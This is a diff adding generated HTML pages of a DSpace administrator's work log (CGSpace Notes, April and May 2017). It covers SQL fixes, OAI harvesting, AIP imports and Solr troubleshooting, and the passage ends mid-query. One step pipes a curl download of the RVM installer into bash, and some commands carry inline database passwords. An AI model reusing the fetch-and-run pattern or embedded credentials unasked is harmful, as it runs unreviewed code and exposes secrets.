+1584
+
    +
  • Trying to find a way to get the number of items submitted by a certain user in 2016
    • +
  • It’s not possible in the DSpace search / module interfaces, but might be able to be derived from dc.description.provenance, as that field contains the name and email of the submitter/approver, ie:
    • +
+
Submitted by Francesca Giampieri (fgiampieri) on 2016-01-19T13:56:43Z^M
+No. of bitstreams: 1^M
+ILAC_Brief21_PMCA.pdf: 113462 bytes, checksum: 249fef468f401c066a119f5db687add0 (MD5)
+
    +
  • This SQL query returns fields that were submitted or approved by giampieri in 2016 and contain a “checksum” (ie, there was a bitstream in the submission):
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=28 and text_value ~ '^(Submitted|Approved).*giampieri.*2016-.*checksum.*';
+
    +
  • Then this one does the same, but for fields that don’t contain checksums (ie, there was no bitstream in the submission):
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=28 and text_value ~ '^(Submitted|Approved).*giampieri.*2016-.*' and text_value !~ '^(Submitted|Approved).*giampieri.*2016-.*checksum.*';
+
    +
  • For some reason there seem to be way too many fields, for example there are 498 + 13 here, which is 511 items for just this one user.
    • +
  • It looks like there can be a scenario where the user submitted AND approved it, so some records might be doubled…
    • +
  • In that case it might just be better to see how many the user submitted (both with and without bitstreams):
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=28 and text_value ~ '^Submitted.*giampieri.*2016-.*';
+

2017-04-05

+
    +
  • After doing a few more large communities it seems this is the final count of CMYK PDFs:
    • +
+
$ grep -c profile /tmp/filter-media-cmyk.txt
+2505
+

2017-04-06

+
    +
  • After reading the notes for DCAT April 2017 I am testing some new settings for PostgreSQL on DSpace Test: +
      +
    • db.maxconnections 30→70 (the default PostgreSQL config allows 100 connections, so DSpace’s default of 30 is quite low)
      • +
    • db.maxwait 5000→10000
      • +
    • db.maxidle 8→20 (DSpace default is -1, unlimited, but we had set it to 8 earlier)
      • +
    +
    • +
  • I need to look at the Munin graphs after a few days to see if the load has changed
    • +
  • Run system updates on DSpace Test and reboot the server
    • +
  • Discussing harvesting CIFOR’s DSpace via OAI
    • +
  • Sisay added their OAI as a source to a new collection, but using the Simple Dublin Core method, so many fields are unqualified and duplicated
    • +
  • Looking at the documentation it seems that we probably want to be using DSpace Intermediate Metadata
    • +
+

2017-04-10

+
    +
  • Adjust Linode CPU usage alerts on DSpace servers +
      +
    • CGSpace from 200 to 250%
      • +
    • DSpace Test from 100 to 150%
      • +
    +
    • +
  • Remove James from Linode access
    • +
  • Look into having CIFOR use a sub prefix of 10568 like 10568.01
    • +
  • Handle.net calls this “derived prefixes” and it seems this would work with DSpace if we wanted to go that route
    • +
  • CIFOR is starting to test aligning their metadata more with CGSpace/CG core
    • +
  • They shared a test item which is using cg.coverage.country, cg.subject.cifor, dc.subject, and dc.date.issued
    • +
  • Looking at their OAI I’m not sure it has updated as I don’t see the new fields: https://data.cifor.org/dspace/oai/request?verb=ListRecords&resumptionToken=oai_dc///col_11463_6/900
    • +
  • Maybe they need to make sure they are running the OAI cache refresh cron job, or maybe OAI doesn’t export these?
    • +
  • I added cg.subject.cifor to the metadata registry and I’m waiting for the harvester to re-harvest to see if it picks up more data now
    • +
  • Another possiblity is that we could use a cross walk… but I’ve never done it.
    • +
+

2017-04-11

+
    +
  • Looking at the item from CIFOR it hasn’t been updated yet, maybe they aren’t running the cron job
    • +
  • I emailed Usman from CIFOR to ask if he’s running the cron job
    • +
+

2017-04-12

+ +

stale metadata in OAI

+ +
$ /home/dspacetest.cgiar.org/bin/dspace oai import -c
+...
+63900 items imported so far...
+64000 items imported so far...
+Total: 64056 items
+Purging cached OAI responses.
+OAI 2.0 manager action ended. It took 829 seconds.
+
    +
  • After reading some threads on the DSpace mailing list, I see that clean-cache is actually only for caching responses, ie to client requests in the OAI web application
    • +
  • These are stored in [dspace]/var/oai/requests/
    • +
  • The import command should theoretically catch situations like this where an item’s metadata was updated, but in this case we changed the metadata schema and it doesn’t seem to catch it (could be a bug!)
    • +
  • Attempting a full rebuild of OAI on CGSpace:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace oai import -c
+...
+58700 items imported so far...
+Total: 58789 items
+Purging cached OAI responses.
+OAI 2.0 manager action ended. It took 1032 seconds.
+
+real    17m20.156s
+user    4m35.293s
+sys     1m29.310s
+
+

2017-04-13

+
    +
  • Checking the CIFOR item on DSpace Test, it still doesn’t have the new metadata
    • +
  • The collection status shows this message from the harvester:
    • +
+
+

Last Harvest Result: OAI server did not contain any updates on 2017-04-13 02:19:47.964

+
+
    +
  • I don’t know why there were no updates detected, so I will reset and reimport the collection
    • +
  • Usman has set up a custom crosswalk called dimcg that now shows CG and CIFOR metadata namespaces, but we can’t use it because DSpace can only harvest DIM by default (from the harvesting user interface)
    • +
  • Also worth noting that the REST interface exposes all fields in the item, including CG and CIFOR fields: https://data.cifor.org/dspace/rest/items/944?expand=metadata
    • +
  • After re-importing the CIFOR collection it looks very good!
    • +
  • It seems like they have done a full metadata migration with dc.date.issued and cg.coverage.country etc
    • +
  • Submit pull request to upstream DSpace for the PDF thumbnail bug (DS-3516): https://github.com/DSpace/DSpace/pull/1709
    • +
+

2017-04-14

+ +

2017-04-17

+
    +
  • CIFOR has now implemented a new “cgiar” context in their OAI that exposes CG fields, so I am re-harvesting that to see how it looks in the Discovery sidebars and searches
    • +
  • See: https://data.cifor.org/dspace/oai/cgiar?verb=GetRecord&metadataPrefix=dim&identifier=oai:data.cifor.org:11463/947
    • +
  • One thing we need to remember if we start using OAI is to enable the autostart of the harvester process (see harvester.autoStart in dspace/config/modules/oai.cfg)
    • +
  • Error when running DSpace cleanup task on DSpace Test and CGSpace (on the same item), I need to look this up:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(435) is still referenced from table "bundle".
+

2017-04-18

+ +
$ git clone https://github.com/ilri/ckm-cgspace-rest-api.git
+$ cd ckm-cgspace-rest-api/app
+$ gem install bundler
+$ bundle
+$ cd ..
+$ rails -s
+
    +
  • I used Ansible to create a PostgreSQL user that only has SELECT privileges on the tables it needs:
    • +
+
$ ansible linode02 -u aorth -b --become-user=postgres -K -m postgresql_user -a 'db=database name=username password=password priv=CONNECT/item:SELECT/metadatavalue:SELECT/metadatafieldregistry:SELECT/metadataschemaregistry:SELECT/collection:SELECT/handle:SELECT/bundle2bitstream:SELECT/bitstream:SELECT/bundle:SELECT/item2bundle:SELECT state=present
+
+
$ bundle binstubs puma --path ./sbin
+

2017-04-19

+
    +
  • Usman sent another link to their OAI interface, where the country names are now capitalized: https://data.cifor.org/dspace/oai/cgiar?verb=GetRecord&metadataPrefix=dim&identifier=oai:data.cifor.org:11463/947
    • +
  • Looking at the same item in XMLUI, the countries are not capitalized: https://data.cifor.org/dspace/xmlui/handle/11463/947?show=full
    • +
  • So it seems he did it in the crosswalk!
    • +
  • Keep working on Ansible stuff for deploying the CKM REST API
    • +
  • We can use systemd’s Environment stuff to pass the database parameters to Rails
    • +
  • Abenet noticed that the “Workflow Statistics” option is missing now, but we have screenshots from a presentation in 2016 when it was there
    • +
  • I filed a ticket with Atmire
    • +
  • Looking at 933 CIAT records from Sisay, he’s having problems creating a SAF bundle to import to DSpace Test
    • +
  • I started by looking at his CSV in OpenRefine, and I see there a bunch of fields with whitespace issues that I cleaned up:
    • +
+
value.replace(" ||","||").replace("|| ","||").replace(" || ","||")
+
    +
  • Also, all the filenames have spaces and URL encoded characters in them, so I decoded them from URL encoding:
    • +
+
unescape(value,"url")
+
    +
  • Then create the filename column using the following transform from URL:
    • +
+
value.split('/')[-1].replace(/#.*$/,"")
+
    +
  • The replace part is because some URLs have an anchor like #page=14 which we obviously don’t want on the filename
    • +
  • Also, we need to only use the PDF on the item corresponding with page 1, so we don’t end up with literally hundreds of duplicate PDFs
    • +
  • Alternatively, I could export each page to a standalone PDF…
    • +
+

2017-04-20

+
    +
  • Atmire responded about the Workflow Statistics, saying that it had been disabled because many environments needed customization to be useful
    • +
  • I re-enabled it with a hidden config key workflow.stats.enabled = true on DSpace Test and will evaluate adding it on CGSpace
    • +
  • Looking at the CIAT data again, a bunch of items have metadata values ending in ||, which might cause blank fields to be added at import time
    • +
  • Cleaning them up with OpenRefine:
    • +
+
value.replace(/\|\|$/,"")
+
    +
  • Working with the CIAT data in OpenRefine to remove the filename column from all but the first item which requires a particular PDF, as there are many items pointing to the same PDF, which would cause hundreds of duplicates to be added if we included them in the SAF bundle
    • +
  • I did some massaging in OpenRefine, flagging duplicates with stars and flags, then filtering and removing the filenames of those items
    • +
+

Flagging and filtering duplicates in OpenRefine

+
    +
  • Also there are loads of whitespace errors in almost every field, so I trimmed leading/trailing whitespace
    • +
  • Unbelievable, there are also metadata values like:
    • +
+
COLLETOTRICHUM LINDEMUTHIANUM||                  FUSARIUM||GERMPLASM
+
    +
  • Add a description to the file names using:
    • +
+
value + "__description:" + cells["dc.type"].value
+
    +
  • Test import of 933 records:
    • +
+
$ [dspace]/bin/dspace import -a -e aorth@mjanja.ch -c 10568/87193 -s /home/aorth/src/CIAT-Books/SimpleArchiveFormat/ -m /tmp/ciat
+$ wc -l /tmp/ciat
+933 /tmp/ciat
+
    +
  • Run system updates on CGSpace and reboot server
    • +
  • This includes switching nginx to using upstream with keepalive instead of direct proxy_pass
    • +
  • Re-deploy CGSpace to latest 5_x-prod, including the PABRA and RTB XMLUI themes, as well as the PDF processing and CMYK changes
    • +
  • More work on Ansible infrastructure stuff for Tsega’s CKM DSpace REST API
    • +
  • I’m going to start re-processing all the PDF thumbnails on CGSpace, one community at a time:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace filter-media -f -v -i 10568/71249 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt
+

2017-04-22

+
    +
  • Someone on the dspace-tech mailing list responded with a suggestion about the foreign key violation in the cleanup task
    • +
  • The solution is to remove the ID (ie set to NULL) from the primary_bitstream_id column in the bundle table
    • +
  • After doing that and running the cleanup task again I find more bitstreams that are affected and end up with a long list of IDs that need to be fixed:
    • +
+
dspace=# update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (435, 1136, 1132, 1220, 1236, 3002, 3255, 5322);
+

2017-04-24

+
    +
  • Two users mentioned some items they recently approved not showing up in the search / XMLUI
    • +
  • I looked at the logs from yesterday and it seems the Discovery indexing has been crashing:
    • +
+
2017-04-24 00:00:15,578 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (55 of 58853): 70590
+2017-04-24 00:00:15,586 INFO  com.atmire.dspace.discovery.AtmireSolrService @ Processing (56 of 58853): 74507
+2017-04-24 00:00:15,614 ERROR com.atmire.dspace.discovery.AtmireSolrService @ this IndexWriter is closed
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: this IndexWriter is closed
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.deleteByQuery(SolrServer.java:285)
+        at org.apache.solr.client.solrj.SolrServer.deleteByQuery(SolrServer.java:271)
+        at org.dspace.discovery.SolrServiceImpl.unIndexContent(SolrServiceImpl.java:331)
+        at org.dspace.discovery.SolrServiceImpl.unIndexContent(SolrServiceImpl.java:315)
+        at com.atmire.dspace.discovery.AtmireSolrService.indexContent(AtmireSolrService.java:803)
+        at com.atmire.dspace.discovery.AtmireSolrService.updateIndex(AtmireSolrService.java:876)
+        at org.dspace.discovery.IndexClient.main(IndexClient.java:127)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+
    +
  • Looking at the past few days of logs, it looks like the indexing process started crashing on 2017-04-20:
    • +
+
# grep -c 'IndexWriter is closed' [dspace]/log/dspace.log.2017-04-*
+[dspace]/log/dspace.log.2017-04-01:0
+[dspace]/log/dspace.log.2017-04-02:0
+[dspace]/log/dspace.log.2017-04-03:0
+[dspace]/log/dspace.log.2017-04-04:0
+[dspace]/log/dspace.log.2017-04-05:0
+[dspace]/log/dspace.log.2017-04-06:0
+[dspace]/log/dspace.log.2017-04-07:0
+[dspace]/log/dspace.log.2017-04-08:0
+[dspace]/log/dspace.log.2017-04-09:0
+[dspace]/log/dspace.log.2017-04-10:0
+[dspace]/log/dspace.log.2017-04-11:0
+[dspace]/log/dspace.log.2017-04-12:0
+[dspace]/log/dspace.log.2017-04-13:0
+[dspace]/log/dspace.log.2017-04-14:0
+[dspace]/log/dspace.log.2017-04-15:0
+[dspace]/log/dspace.log.2017-04-16:0
+[dspace]/log/dspace.log.2017-04-17:0
+[dspace]/log/dspace.log.2017-04-18:0
+[dspace]/log/dspace.log.2017-04-19:0
+[dspace]/log/dspace.log.2017-04-20:2293
+[dspace]/log/dspace.log.2017-04-21:5992
+[dspace]/log/dspace.log.2017-04-22:13278
+[dspace]/log/dspace.log.2017-04-23:22720
+[dspace]/log/dspace.log.2017-04-24:21422
+
    +
  • I restarted Tomcat and re-ran the discovery process manually:
    • +
+
[dspace]/bin/dspace index-discovery
+
    +
  • Now everything is ok
    • +
  • Finally finished manually running the cleanup task over and over and null’ing the conflicting IDs:
    • +
+
dspace=# update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (435, 1132, 1136, 1220, 1236, 3002, 3255, 5322, 5098, 5982, 5897, 6245, 6184, 4927, 6070, 4925, 6888, 7368, 7136, 7294, 7698, 7864, 10799, 10839, 11765, 13241, 13634, 13642, 14127, 14146, 15582, 16116, 16254, 17136, 17486, 17824, 18098, 22091, 22149, 22206, 22449, 22548, 22559, 22454, 22253, 22553, 22897, 22941, 30262, 33657, 39796, 46943, 56561, 58237, 58739, 58734, 62020, 62535, 64149, 64672, 66988, 66919, 76005, 79780, 78545, 81078, 83620, 84492, 92513, 93915);
+
    +
  • Now running the cleanup script on DSpace Test and already seeing 11GB freed from the assetstore—it’s likely we haven’t had a cleanup task complete successfully in years…
    • +
+

2017-04-25

+
    +
  • Finally finished running the PDF thumbnail re-processing on CGSpace, the final count of CMYK PDFs is about 2751
    • +
  • Preparing to run the cleanup task on CGSpace, I want to see how many files are in the assetstore:
    • +
+
# find [dspace]/assetstore/ -type f | wc -l
+113104
+
    +
  • Troubleshooting the Atmire Solr update process that runs at 3:00 AM every morning, after finishing at 100% it has this error:
    • +
+
[=================================================> ]99% time remaining: 0 seconds. timestamp: 2017-04-25 09:07:12
+[=================================================> ]99% time remaining: 0 seconds. timestamp: 2017-04-25 09:07:12
+[=================================================> ]99% time remaining: 0 seconds. timestamp: 2017-04-25 09:07:12
+[=================================================> ]99% time remaining: 0 seconds. timestamp: 2017-04-25 09:07:13
+[==================================================>]100% time remaining: 0 seconds. timestamp: 2017-04-25 09:07:13
+java.lang.RuntimeException: java.lang.ClassNotFoundException: org.dspace.statistics.content.SpecifiedDSODatasetGenerator
+	at com.atmire.statistics.display.StatisticsGraph.parseDatasetGenerators(SourceFile:254)
+	at org.dspace.statistics.content.StatisticsDisplay.<init>(SourceFile:203)
+	at com.atmire.statistics.display.StatisticsGraph.<init>(SourceFile:116)
+	at com.atmire.statistics.display.StatisticsGraphFactory.getStatisticsDisplay(SourceFile:25)
+	at com.atmire.statistics.display.StatisticsDisplayFactory.parseStatisticsDisplay(SourceFile:67)
+	at com.atmire.statistics.display.StatisticsDisplayFactory.getStatisticsDisplays(SourceFile:49)
+	at com.atmire.statistics.statlet.XmlParser.getStatisticsDisplays(SourceFile:178)
+	at com.atmire.statistics.statlet.XmlParser.getStatisticsDisplays(SourceFile:111)
+	at com.atmire.utils.ReportSender$ReportRunnable.run(SourceFile:151)
+	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+	at java.lang.Thread.run(Thread.java:745)
+Caused by: java.lang.ClassNotFoundException: org.dspace.statistics.content.SpecifiedDSODatasetGenerator
+	at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1858)
+	at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1701)
+	at java.lang.Class.forName0(Native Method)
+	at java.lang.Class.forName(Class.java:264)
+	at com.atmire.statistics.statlet.XmlParser.parsedatasetGenerator(SourceFile:299)
+	at com.atmire.statistics.display.StatisticsGraph.parseDatasetGenerators(SourceFile:250)
+	... 13 more
+java.lang.RuntimeException: java.lang.ClassNotFoundException: org.dspace.statistics.content.DSpaceObjectDatasetGenerator
+	at com.atmire.statistics.display.StatisticsGraph.parseDatasetGenerators(SourceFile:254)
+	at org.dspace.statistics.content.StatisticsDisplay.<init>(SourceFile:203)
+	at com.atmire.statistics.display.StatisticsGraph.<init>(SourceFile:116)
+	at com.atmire.statistics.display.StatisticsGraphFactory.getStatisticsDisplay(SourceFile:25)
+	at com.atmire.statistics.display.StatisticsDisplayFactory.parseStatisticsDisplay(SourceFile:67)
+	at com.atmire.statistics.display.StatisticsDisplayFactory.getStatisticsDisplays(SourceFile:49)
+	at com.atmire.statistics.statlet.XmlParser.getStatisticsDisplays(SourceFile:178)
+	at com.atmire.statistics.statlet.XmlParser.getStatisticsDisplays(SourceFile:111)
+	at com.atmire.utils.ReportSender$ReportRunnable.run(SourceFile:151)
+	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+	at java.lang.Thread.run(Thread.java:745)
+Caused by: java.lang.ClassNotFoundException: org.dspace.statistics.content.DSpaceObjectDatasetGenerator
+	at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1858)
+	at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1701)
+	at java.lang.Class.forName0(Native Method)
+	at java.lang.Class.forName(Class.java:264)
+	at com.atmire.statistics.statlet.XmlParser.parsedatasetGenerator(SourceFile:299)
+	at com.atmire.statistics.display.StatisticsGraph.parseDatasetGenerators(SourceFile:250)
+
    +
  • Run system updates on DSpace Test and reboot the server (new Java 8 131)
    • +
  • Run the SQL cleanups on the bundle table on CGSpace and run the [dspace]/bin/dspace cleanup task
    • +
  • I will be interested to see the file count in the assetstore as well as the database size after the next backup (last backup size is 111M)
    • +
  • Final file count after the cleanup task finished: 77843
    • +
  • So that is 30,000 files, and about 7GB
    • +
  • Add logging to the cleanup cron task
    • +
+

2017-04-26

+
    +
  • The size of the CGSpace database dump went from 111MB to 96MB, not sure about actual database size though
    • +
  • Update RVM’s Ruby from 2.3.0 to 2.4.0 on DSpace Test:
    • +
+
$ gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
+$ \curl -sSL https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer | bash -s stable --ruby
+... reload shell to get new Ruby
+$ gem install sass -v 3.3.14
+$ gem install compass -v 1.0.3
+
    +
  • Help Tsega re-deploy the ckm-cgspace-rest-api on DSpace Test
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-05/index.html b/docs/2017-05/index.html new file mode 100644 index 000000000..ab22f7f11 --- /dev/null +++ b/docs/2017-05/index.html @@ -0,0 +1,445 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2017

+

+ + in + +  + +

+
+

2017-05-01

+ +

2017-05-02

+
    +
  • Atmire got back about the Workflow Statistics issue, and apparently it’s a bug in the CUA module so they will send us a pull request
    • +
+

2017-05-04

+
    +
  • Sync DSpace Test with database and assetstore from CGSpace
    • +
  • Re-deploy DSpace Test with Atmire’s CUA patch for workflow statistics, run system updates, and restart the server
    • +
  • Now I can see the workflow statistics and am able to select users, but everything returns 0 items
    • +
  • Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b
    • +
  • Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace.cgiar.org/handle/10568/80731
    • +
+

2017-05-05

+
    +
  • Discovered that CGSpace has ~700 items that are missing the cg.identifier.status field
    • +
  • Need to perhaps try using the “required metadata” curation task to find fields missing these items:
    • +
+
$ [dspace]/bin/dspace curate -t requiredmetadata -i 10568/1 -r - > /tmp/curation.out
+
    +
  • It seems the curation task dies when it finds an item which has missing metadata
    • +
+

2017-05-06

+ +

2017-05-07

+
    +
  • Testing one replacement for CCAFS Flagships (cg.subject.ccafs), first changed in the submission forms, and then in the database:
    • +
+
$ ./fix-metadata-values.py -i ccafs-flagships-may7.csv -f cg.subject.ccafs -t correct -m 210 -d dspace -u dspace -p fuuu
+
    +
  • Also, CCAFS wants to re-order their flagships to prioritize the Phase II ones
    • +
  • Waiting for feedback from CCAFS, then I can merge #320
    • +
+

2017-05-08

+
    +
  • Start working on CGIAR Library migration
    • +
  • We decided to use AIP export to preserve the hierarchies and handles of communities and collections
    • +
  • When ingesting some collections I was getting java.lang.OutOfMemoryError: GC overhead limit exceeded, which can be solved by disabling the GC timeout with -XX:-UseGCOverheadLimit
    • +
  • Other times I was getting an error about heap space, so I kept bumping the RAM allocation by 512MB each time (up to 4096m!) it crashed
    • +
  • This leads to tens of thousands of abandoned files in the assetstore, which need to be cleaned up using dspace cleanup -v, or else you’ll run out of disk space
    • +
  • In the end I realized it’s better to use submission mode (-s) to ingest the community object as a single AIP without its children, followed by each of the collections:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m -XX:-UseGCOverheadLimit"
+$ [dspace]/bin/dspace packager -s -o ignoreHandle=false -t AIP -e some@user.com -p 10568/87775 /home/aorth/10947-1/10947-1.zip
+$ for collection in /home/aorth/10947-1/COLLECTION@10947-*; do [dspace]/bin/dspace packager -s -o ignoreHandle=false -t AIP -e some@user.com -p 10947/1 $collection; done
+$ for item in /home/aorth/10947-1/ITEM@10947-*; do [dspace]/bin/dspace packager -r -f -u -t AIP -e some@user.com $item; done
+
+

2017-05-09

+
    +
  • The CGIAR Library metadata has some blank metadata values, which leads to ||| in the Discovery facets
    • +
  • Clean these up in the database using:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and text_value='';
+
    +
  • I ended up running into issues during data cleaning and decided to wipe out the entire community and re-sync DSpace Test assetstore and database from CGSpace rather than waiting for the cleanup task to clean up
    • +
  • Hours into the re-ingestion I ran into more errors, and had to erase everything and start over again!
    • +
  • Now, no matter what I do I keep getting foreign key errors…
    • +
+
Caused by: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint "handle_pkey"
+  Detail: Key (handle_id)=(80928) already exists.
+
    +
  • I think those errors actually come from me running the update-sequences.sql script while Tomcat/DSpace are running
    • +
  • Apparently you need to stop Tomcat!
    • +
+

2017-05-10

+
    +
  • Atmire says they are willing to extend the ORCID implementation, and I’ve asked them to provide a quote
    • +
  • I clarified that the scope of the implementation should be that ORCIDs are stored in the database and exposed via REST / API like other fields
    • +
  • Finally finished importing all the CGIAR Library content, final method was:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx3072m -XX:-UseGCOverheadLimit"
+$ [dspace]/bin/dspace packager -r -a -t AIP -o skipIfParentMissing=true -e some@user.com -p 10568/80923 /home/aorth/10947-2517/10947-2517.zip
+$ [dspace]/bin/dspace packager -r -a -t AIP -o skipIfParentMissing=true -e some@user.com -p 10568/80923 /home/aorth/10947-2515/10947-2515.zip
+$ [dspace]/bin/dspace packager -r -a -t AIP -o skipIfParentMissing=true -e some@user.com -p 10568/80923 /home/aorth/10947-2516/10947-2516.zip
+$ [dspace]/bin/dspace packager -s -t AIP -o ignoreHandle=false -e some@user.com -p 10568/80923 /home/aorth/10947-1/10947-1.zip
+$ for collection in /home/aorth/10947-1/COLLECTION@10947-*; do [dspace]/bin/dspace packager -s -o ignoreHandle=false -t AIP -e some@user.com -p 10947/1 $collection; done
+$ for item in /home/aorth/10947-1/ITEM@10947-*; do [dspace]/bin/dspace packager -r -f -u -t AIP -e some@user.com $item; done
+
    +
  • Basically, import the smaller communities using recursive AIP import (with skipIfParentMissing)
    • +
  • Then, for the larger collection, create the community, collections, and items separately, ingesting the items one by one
    • +
  • The -XX:-UseGCOverheadLimit JVM option helps with some issues in large imports
    • +
  • After this I ran the update-sequences.sql script (with Tomcat shut down), and cleaned up the 200+ blank metadata records:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and text_value='';
+

2017-05-13

+
    +
  • After quite a bit of troubleshooting with importing cleaned up data as CSV, it seems that there are actually NUL characters in the dc.description.abstract field (at least) on the lines where CSV importing was failing
    • +
  • I tried to find a way to remove the characters in vim or Open Refine, but decided it was quicker to just remove the column temporarily and import it
    • +
  • The import was successful and detected 2022 changes, which should likely be the rest that were failing to import before
    • +
+

2017-05-15

+
    +
  • To delete the blank lines that cause isses during import we need to use a regex in vim g/^$/d
    • +
  • After that I started looking in the dc.subject field to try to pull countries and regions out, but there are too many values in there
    • +
  • Bump the Academicons dependency of the Mirage 2 themes from 1.6.0 to 1.8.0 because the upstream deleted the old tag and now the build is failing: #321
    • +
  • Merge changes to CCAFS project identifiers and flagships: #320
    • +
  • Run updates for CCAFS flagships on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/ccafs-flagships-may7.csv -f cg.subject.ccafs -t correct -m 210 -d dspace -u dspace -p 'fuuu'
+
    +
  • +

    These include:

    +
      +
    • GENDER AND SOCIAL DIFFERENTIATION→GENDER AND SOCIAL INCLUSION
      • +
    • MANAGING CLIMATE RISK→CLIMATE SERVICES AND SAFETY NETS
      • +
    +
    • +
  • +

    Re-deploy CGSpace and DSpace Test and run system updates

    +
    • +
  • +

    Reboot DSpace Test

    +
    • +
  • +

    Fix cron jobs for log management on DSpace Test, as they weren’t catching dspace.log.* files correctly and we had over six months of them and they were taking up many gigs of disk space

    +
    • +
+

2017-05-16

+
    +
  • Discuss updates to WLE themes for their Phase II
    • +
  • Make an issue to track the changes to cg.subject.wle: #322
    • +
+

2017-05-17

+
    +
  • Looking into the error I get when trying to create a new collection on DSpace Test:
    • +
+
ERROR: duplicate key value violates unique constraint "handle_pkey" Detail: Key (handle_id)=(84834) already exists.
+
    +
  • I tried updating the sequences a few times, with Tomcat running and stopped, but it hasn’t helped
    • +
  • It appears item with handle_id 84834 is one of the imported CGIAR Library items:
    • +
+
dspace=# select * from handle where handle_id=84834;
+ handle_id |   handle   | resource_type_id | resource_id
+-----------+------------+------------------+-------------
+     84834 | 10947/1332 |                2 |       87113
+
    +
  • Looks like the max handle_id is actually much higher:
    • +
+
dspace=# select * from handle where handle_id=(select max(handle_id) from handle);
+ handle_id |  handle  | resource_type_id | resource_id
+-----------+----------+------------------+-------------
+     86873 | 10947/99 |                2 |       89153
+(1 row)
+
    +
  • I’ve posted on the dspace-test mailing list to see if I can just manually set the handle_seq to that value
    • +
  • Actually, it seems I can manually set the handle sequence using:
    • +
+
dspace=# select setval('handle_seq',86873);
+
    +
  • After that I can create collections just fine, though I’m not sure if it has other side effects
    • +
+

2017-05-21

+
    +
  • Start creating a basic theme for the CGIAR System Organization’s community on CGSpace
    • +
  • Using colors from the CGIAR Branding guidelines (2014)
    • +
  • Make a GitHub issue to track this work: #324
    • +
+

2017-05-22

+
    +
  • Do some cleanups of community and collection names in CGIAR System Management Office community on DSpace Test, as well as move some items as Peter requested
    • +
  • Peter wanted a list of authors in here, so I generated a list of collections using the “View Source” on each community and this hacky awk:
    • +
+
$ grep 10947/ /tmp/collections | grep -v cocoon | awk -F/ '{print $3"/"$4}' | awk -F\" '{print $1}' | vim -
+
    +
  • Then I joined them together and ran this old SQL query from the dspace-tech mailing list which gives you authors for items in those collections:
    • +
+
dspace=# select distinct text_value
+from metadatavalue
+where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author')
+AND resource_type_id = 2
+AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10947/2', '10947/3', '10947/1
+0', '10947/4', '10947/5', '10947/6', '10947/7', '10947/8', '10947/9', '10947/11', '10947/25', '10947/12', '10947/26', '10947/27', '10947/28', '10947/29', '109
